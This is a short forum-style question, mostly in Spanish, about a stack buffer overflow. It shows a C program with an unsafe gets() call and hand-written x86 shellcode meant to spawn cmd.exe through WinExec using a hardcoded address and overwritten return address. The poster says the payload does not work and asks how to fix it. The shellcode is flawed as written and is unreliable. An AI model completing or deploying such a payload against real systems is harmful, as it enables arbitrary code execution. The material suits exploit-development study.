Tengo un programa como este:
int main() {
char buffer[16];
printf("Write something: ");
gets(buffer);
printf("You wrote: %s\n", buffer);
return 0;
}
Y he escrito un pequeño bytecode payload, que debería lanzar cmd.exe a través de WinExec,
ADD ESP -80 ; 83 C4 80, at 0x0019FF28
XOR EDX, EDX ; 31 D2
PUSH EDX ; 52
PUSH 'd' ; 6A 64
PUSH 'm' ; 6A 6D
PUSH 'c' ; 6A 63
PUSH 1 ; 6A 01
NOP ; 90
CALL F0 F7 77 74 ; E8 F0 F7 77 74 = WinExec (0x7477F7F0)
28 FF 19 ; 28 FF 19 <-- this should be a new return address
Por lo tanto, no podrá ejecutar el código, lo cual es incorrecto. ¿Alguna idea de cómo modificar el código o alguna idea de qué debo incorporar en el código? Y no estoy seguro de que la inserción de caracteres en la pila también sea válida. (Y sí, es solo una demostración)